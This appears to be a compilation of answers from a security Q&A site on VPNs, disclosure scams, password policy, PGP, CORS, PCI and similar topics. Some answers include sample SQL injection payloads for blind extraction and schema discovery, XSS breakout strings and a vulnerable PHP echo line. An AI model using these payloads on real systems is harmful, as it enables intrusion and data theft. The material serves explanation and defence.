... need to compile a new version of Shadowsocks that accepts any shared secret (since they don't know what my shared secret is) and then spoof the IP of the original server I was connecting to, thereby capturing my traffic.

There is no such thing as "accept any shared secret" by the server. The secret is not transferred inside the connection but it is a pre-shared secret, i.e. client and server are configured with this secret and only after this is done the first connection can be established.

Thus the ISP can only MITM the connection if he gets access to the secret, either by hacking into client or server or by brute-forcing. From a look at the python source code brute-forcing is not that impossible in my opinion since the ISP can easily know some plain text data (web requests and response have a typical structure) and can pre-build a dictionary of passphrase to encryption key used to speed up the cracking since the same passphrase always results in the same encryption key.


Is it possible for my ISP to do MITM attack on my VPN?

Not if your VPN client is verifying the certificate of the VPN server.  VPNs (particularly OpenVPN) are very similar to TLS: a server certificate is cryptographically verified as part of the connection setup.  Without a valid certificate for the host (or, depending on your configuration, the exact same certificate) on their MITM server, your client will just reject the connection.

Technical means aside: unless you're doing something really shady, you're likely not that interesting to your ISP that they would want to MITM you.  They have lots of other problems to deal with.


Is this email asking me to sent them $100 for details on a security flaw in my website a scam?

This certainly is not standard practice. Even if this person has found a legitimate problem on your site, it's a form of extortion.

There is proper "responsible disclosure" and professional "security researchers" don't start off asking for cash. Bug bounty programs exist for a reason.

The problem is that you do not know if the vulnerability is worth $100 to you.

This is very, very likely a scam, but on the off-chance that you are dealing with a legitimate professional with poor communication skills, you could ask for details, like where the problem is ("infrastructure"? that's odd for a website), and any details about who they are and proof of their professional work in security research.

If they ramp up the emotion or extend the extortion, then you know it's a scam. Don't install or open any files they send you. If they are legitimate, they will work with you.

To give you an idea, I am not a professional tester and I do not do bug bounties. But once in a while, I discover a vulnerability in a site. I first contact the company asking for the person who would handle site vulnerabilities with a 1-sentence rundown of the general issue. I do this to make sure I get to talk to a responsible person, and not an unauthorised person who might abuse or mishandle (or fail to understand) the information I am about to give them. I also give them proof of who I am so I do not come across as a scammer.

When I am talking to the best person I can, I give the full break down, with my process to repeat the problem, URLs, parameters, etc., and the reason for why I think it is a concern. I answer whatever questions they ask, but I never, ever, give the impression that I need or want them to do anything with any urgency. I let them work out their risk assessment. That's their job. It's their site.

I also don't ask for money, but if I did, it would be after I did as much as I could to help their team resolve it. And I would not expect to get money or any form of reward, even if I asked.

Either the site has a bug bounty program that defines the expectations and relationships for everyone involved, or the site doesn't, and I'm just helping out and maybe getting something out of it, or not.

That's how a professional would approach a site with a vulnerability they discovered.


Encoding ASCII character as three-byte UTF-8. How does it work?

On that report it seems that they were taking the url parameter reported_tweet_id and copying it into a HTTP header (likely inside a Location, as part of a redirect) after a faulty transformation.

As Steffen Ullrich noted, they somehow took the unicode character and left only the last byte, which allowed filedescriptor to bypass the check for a \x0a.

At the end of the report, the reporter asked for the root cause, which twitter declined to share, so we are left wondering. It's quite strange, since on the one hand, they properly decoded the unicode character (to utf-16, perhaps), while on the other, they completely lost the higher 16 bits. Maybe a faulty unicode library that after a unicode conversion, blindly assumed the result would be iso-8859-1 and copied just the lower byte. Note that they were injected into HTTP headers, which don't support utf-8 (or unicode, any non-ASCII character should be urlencoded there), which is what allowed the CRLF injection on this bug of extra HTTP headers and html body.


To exploit this vulnerability, one doesn’t need a direct output. There is also a technique called boolean-based blind where the behavior of different boolean expressions is used to extrapolate the data from:

foo' AND pass LIKE 'a%

If the success message is returned, pass begins with a, otherwise it doesn’t. If you repeat that with all possible characters recursively on each successful prefix, you’ll get the whole string.

You can do the same to get information about the database schema:

foo' AND EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 'abc%') AND '1'='1

With the knowledge of the database schema, one can read any data.

As Rook has already mentioned, SQLmap is quite a useful tool to automate the exploitation of such SQL injection vulnerabilities.


Unfortunately, the previous (since deleted) answer is incorrect and will allow deanonymization because it allows any connection over port 1194, not just traffic originating from OpenVPN. You should use a simpler firewall which does nothing more than block all non-OpenVPN client output to the outside.

If you do not have an openvpn group, create it. The -r makes it a system group.

groupadd -r openvpn

Once it exists, add this line to your OpenVPN configuration file to run with this group.

group openvpn

Now you can set the firewall to block output for all processes other than the OpenVPN client. You do not need to specifically whitelist any ports, just the correct group and the TUN device.

# Flush the tables. This may cut the system's internet.
iptables -F

# Let the VPN client communicate with the outside world.
iptables -A OUTPUT -j ACCEPT -m owner --gid-owner openvpn

# The loopback device is harmless, and TUN is required for the VPN.
iptables -A OUTPUT -j ACCEPT -o lo
iptables -A OUTPUT -j ACCEPT -o tun+

# We should permit replies to traffic we've sent out.
iptables -A INPUT -j ACCEPT -m state --state ESTABLISHED

# The default policy, if no other rules match, is to refuse traffic.
iptables -P OUTPUT DROP
iptables -P INPUT DROP

If everything worked, you should now have access to the internet only through your VPN. You may need to make some tweaks depending on your particular setup (for example, if you need access to other devices on your local network), but this should be a general solution. In order to make these changes persistent, follow your distribution's instructions on saving firewall settings.

Please understand that VPNs are not designed for privacy or anonymity. Even when using a proper firewall, there are countless ways to circumvent its supposed protections, even if the VPN claims not to keep logs. If you need actual anonymity, you should instead use something like Tor.


Are AES-CBC encrypted files subject to padding oracle attacks?

Padding oracle attack are effective when the remote side (the server side) uses its private key to decipher and rise an exception when the padding is not correct.

In a local context, you do not know the private key. So you can try many keys and see if the padding is good or not, but this information is useless.

For example, you have the cipher XXXXXXXXXXXXXXXX and you try the key1 which give you the clear helloworld030303, interesting but the key2 give you hellobitches0202 which is correct too.
How can you choose which clear is the correct one? You cannot, every correct string with correct padding could be the good candidate.

The "oracle" in "padding oracle attack" is the fact that you get answer from a source who uses the correct secret key (which is a unknown information for you) to perform operations (decipher) and give you information about the result.
You can use this result to get indirect information about the secret key or the secret clear message


Development of ISO27001 ISMS before production

Information security should be considered in every aspect of the organization's design, development, and implementation. If the organization isn't fully stood up, it's the perfect time to prime the pump and get security integrated from the ground up.

Bottom Line
This will help them make smart choices when it's still easy to make adjustments. It's much harder to retro-fit security.


How is the signing of an OpenPGP public key realized technically?

Signing an OpenPGP key adds a signature packet, calculated on the fingerprint of the signee's key and one of his user IDs. You can easily observe this running gpg --export [signee's key id] | gpg --list-packets (the output can be rather massive for keys with a larger number of signatures, consider using less or a similar tool to be able to search and scroll the output), which displays rather technical details on the key. An example (a signature issued by CAcert on my own OpenPGP key):

:public key packet:
        version 4, algo 1, created 1356475387, expires 0
        pkey[0]: [8192 bits]
        pkey[1]: [17 bits]
        keyid: 4E1F799AA4FF2279
:user ID packet: "Jens Erat (born 1988-01-19 in Stuttgart, Germany)"
[snip, self-signatures omitted as irrelevant in this example]
:signature packet: algo 17, keyid D2BB0D0165D0FD58
        version 4, created 1356531044, md5len 0, sigclass 0x10
        digest algo 2, begin of digest 0b cc
        hashed subpkt 2 len 4 (sig created 2012-12-26)
        critical hashed subpkt 3 len 4 (sig expires after 1y1d0h0m)
        hashed subpkt 26 len 29 (policy: http://www.cacert.org/cps.php)
        subpkt 16 len 8 (issuer key ID D2BB0D0165D0FD58)
        data: [160 bits]
        data: [157 bits]

With other words: the actual public key is not modified, but a new packet is added containing the signature (or possibly multiple packets, if you signed multiple user IDs).

  The last line did consist of five to six characters before as well as after signing it, however the characters have been altered. So my signature of my friends key is obviously contained in this last line.

The last few characters contain a CRC-24 checksum. If this is changed, something more must have changed. Try to inspect both exports before and after adding the signature using diff.


Is there any chance for me in Information Security field?

Absolutely, You can,
IT field including InfoSec mostly care about your knowledge,  understanding, and willingness to keep learning and act upon it,
All most all IT companies looking for the passionate people instead of your paper qualification. in-fact they understand fresh graduates know nothing about the industry,
Here what I'm suggesting,

Work on Side projects while you are doing your BA Degree.
Assuming you have at least a little IT background, you'll need to work o
projects that give you visibility in the path you are willing to follow.

Contribute to Open-Source Projects.

Start from the basics, what can I do for Mozilla -> https://whatcanidoformozilla.org , https://github.com/explore check what are the project you can contribute, doesn't matter it's localization, add a fewer line of space in first.even that will helpful for someone in the world.

Start your own projects,

Doesn't Matter it's basic C program, or forked PHP GitHub project at first , keep work on it until you are familiar with stuff, then you'll figure out your own way occasionally. also, check for open-source InfoSec tools and try to contribute it with Testing, commenting, if possible with feature suggestions and developments,

IT Security-Based Certification.

While you are undergraduate,try to do some certification which gives you visibility and understanding, C|EH, Comptia++ , CISSP (try not to mix everything over your interest), first read about every possible ones and understand what you want to do, most people will disagree with me here, because certifications are not really getting into place where you want to be with knowledge , but for the visibility I believe that's something you'll value, (take these certifications as your ticket to company interviews)

Network with Right People.

Most important thing, Connect with the like-minded and attend to meetups and events where Techies gather, sites such as meetup.com are the places you can find related meetups near you.work with communities Mozilla Campus Clubs (maybe you can start one if your university: https://campus.mozilla.community/ )  , Bsides - http://www.securitybsides.com/ , https://www.owasp.org ( you can also engage or initiate OWASP student Chapter: https://www.owasp.org/index.php/OWASP_Student_Chapters_Program. .
Work with the people that engage with certain activities, contribute to projects, read stuff related to infoSec, be an update, test your abilities with demonstration framework, talk to industrial people from the certain organization and ask them what requirement you need to fulfill.

Doing BA won't be a big problem to work in InfoSec field unless you let it be, working in the right way you can make your BA as extra advantage gets into the field.

for the last part in your question I also want to take part in the undergraduate program of a university in U.S. Is it possible?
I'm sorry I'm not the right person to answer it since I have less understanding about it. but I think that won't be a issue.


How does software developer protect their code against binary patching?

You can't prevent people toying around with your exe, if you check if it wasn't tempered then they'll patch the code that checks that to. One thing you can do is not distribute the whole program but a version missing core functionality in the exe, then when they enter the cd key patch that in memory with data you download from an url that contains the cd key. That or send encrypted code to each client that requires the matching key to decrypt.


As for what Google does officially, it is easily checked: go read Google's privacy policy which is prominently advertised. By definition, it will tell you what information Google "officially" gathers.

The implementation of browser fingerprinting is known and trivial. Most of it is just reading the headers from the HTTP request. Whether Google implemented it or not is irrelevant, since they could implement something to the same effect in a matter of a few days at most. What matters is whether they deployed such a system -- and, "officially", they did not.


DeAuth sent to router doesn't deauthenticate

There are a bunch of reasons why this might not be working. The documentation explains a few:

Why does deauthentication not work?
There can be several reasons and one or more can affect you:

You are physically too far away from the client(s). You need enough transmit power for the packets to reach and be heard by the clients. If you do a full packet capture, each packet sent to the client should result in an “ack” packet back. This means the client heard the packet. If there is no “ack” then likely it did not receive the packet.
Wireless cards work in particular modes such b, g, n and so on. If your card is in a different mode then the client card there is good chance that the client will not be able to correctly receive your transmission. See the previous item for confirming the client received the packet.
Some clients ignore broadcast deauthentications. If this is the case, you will need to send a deauthentication directed at the particular client.
Clients may reconnect too fast for you to see that they had been disconnected. If you do a full packet capture, you will be able to look for the reassociation packets in the capture to confirm deauthentication worked.

(emphasis mine)
Keep in mind that, in regard to the final point, many WiFi stacks will simply reconnect immediately without notifying the user. As such your deauthentication may be working, but you're not seeing any effects from it. In general sending a single deauthentication packet does not cause a long-term outage; the device will just reconnect. This behaviour is really useful when you're trying to capture lots of 4-way handshakes to crack WPA/WPA2.


Is passphrase strength increased with this strategy?

See Kerckhoffs's principle/Shannon's Maxim. It's very difficult to accurately estimate if an attacker will know or guess the word list you use, so to get an accurate lower bound on passphrase entropy it's simply assumed that they know exactly how you created the passphrase.

If we assume they know you're creating a passphrase by choosing words randomly from a list, and they know that list, it's clear that including words from different languages doesn't really matter. What matters is the size of the list and how many words you randomly take from it. A list of 2,000 English words and 2,000 Spanish words will result in passphrases of the same strength as a list of 4,000 English words.

It could be that, in practice, this will make it more difficult for the attacker, but it is hard to say by how much. Using words from multiple languages is one of the more common ideas to "strengthen" passphrases, so it may also be that it doesn't accomplish much of anything. It's more useful to know that "it will take an attacker at least X guesses to have Y% chance of finding my passphrase" than "I think this passphrase is pretty strong".


Your question is a pretty good one and as an IAM practitioner I can only apologize for the confusion. IAM is indeed a large field. I think it may be worthwhile taking a step back and going through the basic elements.

Intro

IAM or Identity & Access Management is a field of IT Security (just like network security, crypto, etc...). It can be broken down into four key areas as displayed in the picture below:

There are several subfields within IAM. Here is a non-exhaustive list

authentication techniques

traditional authentication methods
strong authentication (e.g. one-time password, two-factor auth, ...). Vendors in that space include Yubico.

Identity Federation.

Vendors in that space include CA SSO, Ping Identity...

Identity as as Service (IdaaS)

Vendors in that space include Okta.

User management and directories

user directories e.g. LDAP
virtual directories. Vendors in that space include Radiant Logic.

privileged account management (PAM)

Vendors in that space include CyberArk

identity and access governance (IAG)

Vendors in that space include Savyint and Sailpoint

externalized (dynamic) authorization management (EAM or DAM)

Other areas with relations to IAM

There are side fields that do not belong to IAM per se but definitely help a lot such as SIEM (security information event management). And there are fields that use / leverage IAM such as API security. As a matter of fact, some of the standards you mention (OAuth 2.0, OpenID Connect) are standards that focus on API authentication.

Large vendor suites

You'll find that the larger vendors (Oracle, Microsoft, IBM) all have identity management suites that include some or all of the subfields aforementioned.

Externalized (or Dynamic) Authorization Management

The area I focus on is EAM. In the training courses I give, I typically start with this slide which I hope will help you too:

The de facto model for dynamic authorization management is called Attribute-Based Access Control (ABAC). It's a model that has been around for a long time. It was formalized in 2013 by NIST (National Institute of Standards and Technology).

The de facto standard that implements ABAC is XACML, the eXtensible Access Control Markup Language. It started in 2001 and its current version was released in 2013.

You mention NGAC: that's just an R&D initiative rather than a standard.

Literature in the space

I would refer to Kuppingercole and Gartner as the two main analyst firms that have extensive literature on IAM. They will have good definitions and videos.

Your questions

My main problems are :

  Terminology : sometimes, explanations need explanation about the words used

Read through my post, check out Wikipedia, and read the reports by Gartner and the likes.

  Different schools of thought : often, there are different ways of interpreting the problems and then even more ways of addressing them. I don't understand what methods are best for what situation, and I want to know why this or that is not as good as another. I see divergent opinions and rarely people set for a best solution or method.

No, in IAM, there aren't different schools of thought. The field is relatively uniform. There are competing vendors and open source solutions but the principles are well set in stone.

  Technologies : I've read somewhere that a good access control works in synergy with the filesystem, that should be suited for that purpose. Is that true ? What are these systems ?

This statement is a little odd because IAM is not specific to any one given layer. You should be able to use IAM in any of your layers (apps, databases, filesystems...). Also, the different disciplines in IAM aim to build on interoperable standards so that you can integrate your authentication with your user management with your authorization solution.

  References : I fantasise to find a one, "best" reference that would clear all that up, while being objective and addressing things I have forgotten or didn't know.

That's what analyst firms are for. Also consider IDPro, an organization I am a founding member of. We strive to create a space for all IT professionals to take part in, share their knowledge of IAM, or learn more about the space.

  For example, I started to think that ABAC would give the best fine-grained control and that XACML, SAML and OAUTH2 used together to form a perfect (yet maybe heavy and complex) system. But then I saw people ranting about it ("yet another OASIS definition") and opposing it to NGAC (Next Generation Access Control).

I am sorry you had to read through this. Let me shed some light.

ABAC is an authorization model as previously stated. It is formalized by NIST and comes to extend what RBAC has done well since 1992. You can see a quick intro video on RBAC, ABAC, and more here.
XACML: eXtensible Access Control Markup Language. An OASIS standard to define a policy language, architecture and a request / response scheme to manage ABAC authorization policies.
SAML: Security Assertion Markup Language. An OASIS standard to address identity federation (amongst other things). It is wildly used for web single-sign-on and federation.
OAuth 2.0: open standard aiming to fix the "password anti-pattern" whereby a user would have to give service 1 (e.g. Facebook) their password to service 2 (e.g. Twitter) so that service 1 could act on behalf of the user on service 2. With OAuth, you can do that without sharing your password. OAuth 2.0 implements authorization delegation.
OpenID Connect: a set of standards on top of OAuth 2.0 to address authentication especially in the API world. OIDC has the potential to replace SAML.

  How should I operate to gain the right expertise on that subject? In other words: where to start, what to look up next, what to ultimately achieve doing?

This is what this site, Wikipedia, the analyst sites (Gartner and Kuppingercole), specialist systems integrators (e.g. Security Architect in the US), standards bodies (e.g. Kantara, OASIS, IDPro) are for.

I hope this helps.


With the existance of CORS, what further purpose does same origin policy serve?

I think you are misunderstanding where and why CORS is used. It is not intended to prevent a script from calling out to an untrusted server (with an Access-Control-Allow-Origin: * header, for example), since that is often a valid use case. The default, restrictive policy doesn't even restrict whether data can be sent; even without that header from the server, a client can send arbitrary data that will be received by the server.

Here's an example where the default policy is helpful:

Say you have an intranet website that provides sensitive company information. An attacker knows the website exists, and crafts some cross-origin AJAX requests in JavaScript to exfiltrate data from the website if any company users browse to the attacker-controlled website. When this happens, the JavaScript will reach out to the intranet server, but will refuse to return any data due to no Access-Control-Allow-Origin header.

Another scenario is where an attacker knows you are logged into a social media website, and wants to read your private chats. The attacker writes some JavaScript to pull messages from whatever user is logged in, using cross-origin requests when you visit their website. This is also prevented without the aforementioned header.

In either scenario, the attacker can't read any cross origin data since the target websites do not bear the necessary header to relax the policy. The attacker does not control these headers, as they do not have access to the systems in question.

  Furthermore, by using my own server as a proxy, and spoofing headers,
  I can essentially make any HTTP call to any server in the world,
  regardless of their CORS settings

Maybe, but what does this gain you? You can't accomplish either of the two scenarios I provided above, especially since credentials won't be sent to the wrong domain.


Is it possible for one Division of an organization to be certified ISO 27001?

Yes, that is possible. ISO27001 requires you to define the scope of the certification, so you could restrict the scope to that one specific division.

Of course, any smart auditor would check what relations that division has with other divisions and which risks and controls are related to that.


Is privilege escalation possible when shell is under www user?

Yes.  The top two methods of privilege escalation are:

Kernel flaws. If there is a vulnerability in the kernel, this could enable an unprivileged user to gain root-level access.  Such vulnerabilities have been seen many times in the past.
Setuid programs. If there is a vulnerability in any of the setuid programs installed on the system, then an unprivileged user might be able to use this to gain root (or escalated) access.  Such vulnerabilities have been common in the past.

(There are other methods of privilege escalation, such as exploiting a race condition in the way that a program running as root uses the filesystem, or vulnerabilities in a system service/daemon.  However, my impression is that those are a bit less common.)

My rough rule of thumb is: if an attacker has access to a non-root account on your machine, you should assume that if they are sufficiently dedicated and sophisticated, be prepared that they may be able to get root on your machine.  It's not a sure thing, to be sure -- but reliably stopping privilege escalation is difficult, when the attacker has access to a user account on your system.

If this sounds abstract, let me make it more concrete for you.  You know how, for most smartphones, you can go on the Internet and find a way to root or jailbreak your phone?  Well, guess what -- when you run some program to "root" your phone, under the covers it works by exploiting some privilege escalation vulnerability in your phone.  Tools for rooting your phone have one or more such privilege-escalation exploits baked into them, and there is a phone enthusiast community that avidly looks for and collects such vulnerabilities.  Empirically, most phones can be rooted -- in other words, most phones have at least one such vulnerability.  The prevalence of such vulnerabilities gives you some idea of the difficulty of reliably preventing privilege escalation.


What is the best defense for a multi-layered attack: Spoofing, MiTM, Login CSRF?

A good security measure for this is having a navigation proxy in place that block suspicious websites.

In this case maybe tristed.com have been created recently or is unclassified or directly suspicious and a navigation proxy may block or alert against it.

Similarly may be a DNS solution may find the URL suspicious and block it by resolving to a sinkhole IP.


Where a sysadmin deletes a company's data, why can't they just restore from backups

A backup, if there is one, takes time to get restored, if it can be. In other words:

Not every company has good backup practices. Considering that, as noted in the security investigation, UBS had other poor security practices it may not be surprising if they didn't have good backups.
Even if a backup has been made it takes time to restore. During this time the server is not in operation. So if it takes a day to restore, you're down for a day, which can be a devastating loss for the kind of operations UBS does.
Not every backup can be restored. The only way to know for sure is to practice restoration, and this is so time-consuming and expensive that many places never do this.


Biometrics: false rejection rate vs Hamming distance in iris scan

After having contacted John Daugman, he was so kind to respond. Basically, he pointed me to this study, which shows the ROC curve for two top-performing iris recognition algorithms. The ROC curve is as follows:

On the x-axis, you see the FAR, on the Y-axis, you see the 1-FRR where I was interested in. This curve shows that the FRR is only marginally impacted, no matter how much the FAR changes. Mr. Daugman informed me that we can roughly say that each reduction in
HD threshold by 0.01 (one percentile point) causes a 10-fold reduction in FMR. However, the cost in FRR from becoming more conversative in HD by 0.01 is trivial.

A more unpredictable issue with the FRR is the image acquisition quality. In case an iris scan is of bad quality, it is almost impossible that this iris will be false accepted (FAR). It is much more likely that that iris will be false rejected (FRR).

As a conclusion, current studies show that the FRR is marginally impacted by a change in FRR or HD.


what is the best way to know if the entered decryption key is correct?

However, now I am trying to use "Type in the encryption key when you
  start up" and to save it in a session cookie (encrypted) but I do not
  know how to tell the user if his key is correct or not.

Is there any reason why you are storing this client-side? The cookie will be sent with every request, and encryption here seems wrong because you will need the store the key for this additional encryption somewhere. Anyone grabbing this cookie would effectively have the decryption password indefinitely (the encrypted original password effectively becomes the password). Could it be stored against the session server-side, the password would be less exposed?

Anyway, that was an aside, now moving onto your main question... If you can store passwords server-side, you could use bcrypt and then compare the entered password with the hashed version on password entry.

As another aside, make sure you are using a key stretching algorithm to convert user entered weaker passwords into strong keys via iterative slow hashing. The bit strength of user passwords is usually not sufficient to protect against a brute force attack of encrypted data. Use PBKDF2.


I believe you are trying to ask if you can get effective security from a bad password as long as you rotate it frequently enough.  The answer is no, because password rotation does not help security before a compromise; it can only help after the fact, after a password has been compromised.

Changing your password won't make a difference against a brute force attack on a live authentication system.

Think about an attacker that can brute force all the passwords over a 5 year span.  Let's say he tests all passwords beginning with A-E in year 1, F-J in year 2, K-O in year 3, P-T in year 4, and U-Z in year 5.  If your first year's password begins with K, he won't get it.  But if you rotate passwords and next year you choose one beginning with F, he'll guess it that year.  In other words, if the attacker's guessing pattern is virtually certain to guess your password in five years, each year his chances of guessing it are 1/5, no matter what you've set it to.

Rotating passwords helps if there's a chance your password has been compromised in some way without your notice.  For example, you might want to rotate it if you used it an airport, coffee shop, or other suspiciously public place; if you find a virus or other malware; if you ever mistyped your password into a username field; or if you just have a bad feeling that it might have been stolen. Otherwise, it's a fairly ineffective security practice.


Citations for inadvisability of globally unique password

The article points out that the system leaks information:  other people's passwords.  Every time it rejects your password, you know that someone on the system has that password!!!

Maybe you can approach it from the standpoint of how expensive it would be impose such a situation since you only store salted hashes (or whatever) and not their actual password?

How can you detect if users share the same password?  Does this mean you are storing the password?

I think you'll get some better answers, but you need to look more broadly at authentication issues.  Start with the wikipedia link and understand the basic issue first.  I really don't think you want to be handling the actual password in your central database (AAA).


iOS data protection: Who decrypts files transferred over USB?

Your hypothesis is most likely correct.

The Data Protection APIs indicate that data can be in one of three states:

Unencrypted all the time
Unencrypted after first PIN code entered after boot
Unencrypted while unlocked (re-encrypts 10s after screen lock)

This information (along with the info you pointed out in your question) indicates that most likely iTunes is verified and determined to be trusted, then the data is unlocked/unencrypted for transport over USB by the device itself.

It is of course possible that Apple is using entirely different APIs to access the data for syncing, but it seems most likely that their APIs are at least similar to the system provided data protection APIs, if they aren't using exactly those.

More information on Data Protection is in the notes/video from WWDC 2012 Session 714 "Protecting The Users Data"


How safe is to secure sensitive content by URL with MD5 hash and no other authorization?

There are a couple of issues to consider with "secret" URLs.

First, they offer a different level of security against discovery when served over HTTP vs. HTTPS.  Over HTTPS, the path is protected.  Over HTTP, it is not.  This means that when using HTTP, anyone in the path of the traffic (people sniffing wireless traffic, proxy servers, caching servers) have access to the path and can therefore discover it.   Over HTTPS, only the hostname is exposed, the path is protected from eavesdroppers.

Second, they can be bookmarked or saved in any number of ways.  You have to consider whether the misuse of bookmarked URLs is a significant threat to your application.

Third, there's no way to expire access to a valid URL.  If you have an authentication system, you can enforce session timeouts of some form.  If you don't, as long as the URL is valid, anybody who has it can access it.

Fourth, and more specific to this specific application, is Izam's question in the comments.  What is being hashed to create the URLs?  If it's something like an incrementing integer-based transaction id, or something other source for which an algorithm can easily generate candidate inputs and hash, no, it would certainly not be safe because an attacker could generate a set of potentially valid hashes and try them all.  They may not all work, but if some of them do, the scheme is broken.  Particularly if it is something like an incrementing integer, because if they discover valid inputs, all valid URLs can be easily determined and exposed.

So, secret URLs can be a valid tool in some cases.   With personal information at stake, particularly financial information, I would not rely on this mechanism.  It's far too weak.


Reflected XSS only works through Burp Repeater because of URL encoding

Came across similar scenario today. Upon debugging I found that vulnerable web page was reflecting exact URL path onto the web page which was making it vulnerable to reflected XSS. Modern web browsers do encode URL path every time and the GET variable does get decoded on the server. But in this case, the server side script isn't reflecting any specific GET variable but the whole URL path.
For example following should be vulnerable PHP code in that case.

<?php echo $_SERVER['REQUEST_URI']; ?>

Here the $_SERVER variable doesn't care if the input it is getting is either URL decoded or encoded, it will just reflect as it is. So since modern browsers encode URL by default so it will be almost impossible to exploit it. If you find this XSS while doing Penetration Testing for your client, you should mention this in the report but with a low CVSS score.

AFAIK, this XSS has nothing to do with XSS filter as answered above by PortSwigger.


Business located in USA does it need to be PCI and SCA compliant?

In most jurisdictions, PCI is not law, it is an industry-enforced security standard. If you take card payments from any of the payment card systems (which is essentially all of the major credit card systems, including but not limited to Visa, MasterCard, American Express, Discover and JCB), you have to be PCI compliant. It does not matter where you or your customer resides, it does not matter what kind of shop you are, and it doesn't matter how you capture the card detail, if you take cards, you are in scope of PCI compliance.

If you are not PCI compliant and your merchant account/payment terminal is found to be involved in a chargeback or fraud, you'll be liable for the chargeback/fraud. You'll also be in breach of contract with your acquiring bank/payment processor, and your bank may impose fines/penalties on your merchant accounts, or impose higher fees on you, or they may terminate your ability to take card payments. They may also put you in blacklist with other banks, which can make it difficult/impossible for you or your business to get a merchant account with any other banks.

In some countries, PCI compliance is also legally imposed, in which case the government or private citizens may also file additional criminal or civil lawsuits against you.

PCI compliance have different levels. If you're a small merchant with low volume of transaction and you used the service of a compliant payment processor, you may able to use self assessment questionnaire (SAQ) to evaluate your PCI compliance which can significantly reduce the burden of compliance. You can complete these questionnaires yourself without external auditors, you'll still be responsible for completing it correctly. If you're a higher volume merchant, you'll need to take higher level of compliance, and this will usually involve a PCI auditor.

I don't know what you meant by SCA, but from a quick Google search, it doesn't seem to be a security related, and therefore off topic here.


Does a BitLocker recovery key have any use on removable media, a.k.a 'BitLocker to Go', other than if you forget your password?

BitLocker (in all uses) has a master encryption key which is encrypted using keys based on several "protectors". Common protectors for system partitions are TPM, passphrase ("PIN"), file-based key, and so on. BitLocker can also be temporarily "suspended" by writing a plain-text protector to the volume. Across all use cases, the recovery key is an additional protector (it can be disabled if you want to, though you'll probably need to use the command-line manage-bde.exe tool to do it).
For any version of BitLocker where a PIN/passphrase protector is used, there's a risk of an attacker attempting to brute-force it. BitLocker has standard protections against this (mostly the use of an extremely slow password hashing function), which work both for online and offline attacks. However, in the case of online attacks, BitLocker can also respond to repeated incorrect password attempts by removing the PIN/passphrase protector (deleting the data necessary to derive the protection key for decrypting the master key, even if the correct password is later entered). While this doesn't stop somebody who imaged the BL metadata before attempting their attack, or who is accessing the volume through a write-blocker, it does prevent casual attempts to break into an encrypted flashdrive or external hard disk.
However, with the PIN/passphrase protector gone, you need some other protector if you want to ever decrypt the drive. That - in addition to "forgot password" cases - is what the recovery key is for. It also provides a long-term secret that can be thrown in a safe or something and doesn't need to be updated even if you change the passphrase.


Did The Wire invent the "Jump 5" cipher?

This is simply a number pad implementation of the plain old original scytale. Using the number 5 key on the pad instead of a rod.
It's a basic substitution cipher.
Was the TV show the first to use the number pad in this way? I cannot answer that. I doubt it.


Is it possible to bypass USB access restriction placed by the Active Directory?

If you can plug a keyboard in and it works, you can use a tool like a Rubber Ducky (I'm assuming the bash bunny is similar, but I haven't played with it.) The Rubber Ducky appears to the computer as a Human Interface Device (HID). Keyboards announce themselves to computers as HID devices and are in turn automatically recognized and accepted.


XSS JavaScript Double Quoted String with HTML Escaped Possible?

It is probably not possible to get XSS given this simple character restriction.  However, an attacker could inject an escape character,  for example:

var userString = "perfectly &quot;safe&quot; input from user?\"+"+alert(1);

In this case the attacker would be injecting a \ and an alert(1) in two different variables which existing in two locations within the <script> tag.  Escape characters are a type of control character that are commonly forgotten by developers when sanitizing attacker controlled data.

...  also hopefully you took this into consideration:

<script>
var userString = "</script><script>alert(1)//"
</script>


using HW random number generator as source of entropy

Haveged has already been contested and does not guarantee TRNG.

You should get a hardware certified device like QRNG .
It is a certified device and has passed many compliance tests including NIST SP800-22.

You can also find an USB stick device which claims it passes tests like Dieharder, ENT, Rngtest, FIPS-140-2.

These 2 should definitely be better than Haveged.

Other things you mentioned like Geiger or noise are also determinable/predictable.


Can I trust profile data a 3rd party auth provider send to me?

If you're allowing any OpenID provider like StackExchange appears to do:

then you should probably validate the email address separately by sending a confirmation email containing a verification link (like SE do) before allowing access.


Databases with spam, phishing email examples

Assuming you're using some sort of machine learning (and even if you're not), you'll need a distraction corpus as well (in the anti-spam industry, we call desired mail "ham" because it's easier to say than "non-spam"), and that will –by far– be your biggest challenge.

One starting point on your road to attracting spam could be this old Stack Overflow request for a Publicly Available Spam Filter Training Set or this old Stack Overflow Brainstorm: How to quickly create a honeypot for mass spam?  While both are off-topic for Stack Overflow, that might not be the case here.

Another starting point is the SpamAssassin public corpus, though at this point it's 10+ years old.

There are other techniques for attracting spam and ham, too.  Search for seeding a spam trap and you'll find tons of advice from anti-spam experts and email service providers.

Generally speaking, it's a lot of effort to collect a good corpus that will help you predict how to filter new spam.  It's significantly harder to collect proper samples of phishing, advance-fee fraud, and other targeted spam.  I've already mentioned that collecting non-bulk ham will also be a challenge, but if you're trying to calibrate to catch phishing, you'll need to make sure your ham corpus contains lots of legitimate non-marketing mail related to finance and account maintenance.

Your best bet is to team up with somebody in the industry who already has good data.

This could include free software communities like that of SpamAssassin.  If you can instantiate your work as a logical combination of regular expressions (SpamAssassin rules), you can get the SpamAssassin QA system to run your combinations against its own corpora.  This will require licensing your work as Apache License v2 so that it can be used by SpamAssassin itself.

The Anti-Phishing Working Group (APWG) has lots and lots of phishing samples, though you may have to pay for them (unless you're working on a paper for their eCrime Symposium?)

Project Honeypot also has a good collection of spam (though they won't have ham).  You might be able to work with them.


How can I sign an rpm package using a smart card?

Per https://stackoverflow.com/questions/50622163/rpm-signing-using-x-509-certificatesenter link description here there is no way to sign RPMs with x509 style signatures that will be checked by the standard tools for installing RPMS. If signing x509 style is the important part then your best bet is to distribute the two files alongside the rpm along with instructions to those who care on how to use them to verify the origin of the rpm.

If on the other hand your primary goal is to use the keys on your smartcard rather than avoiding gnupg then you should be able to use gnupg-pkcs11 to enable gnupg to talk to your PKCS#11 token (assuming that is what you smart card is) and add a  PGP signature which can be automatically checked by the standard tools for managing rpms.

Going the other way (using a PGPcard as a PKCS#11 token) is supported by Scute


Certificates - What about signing again Intermediate CA certificates?

Signing will be done by the key only, so as long the key is not changed all signatures done by this certificate are still valid. But, when building the trust chain for a certificate it will look at the certificates issuer field and then search for a certificate having this issuer as the subject. Only after it found a certificate (or multiple) having this expected subject it will use them to verify the signature.

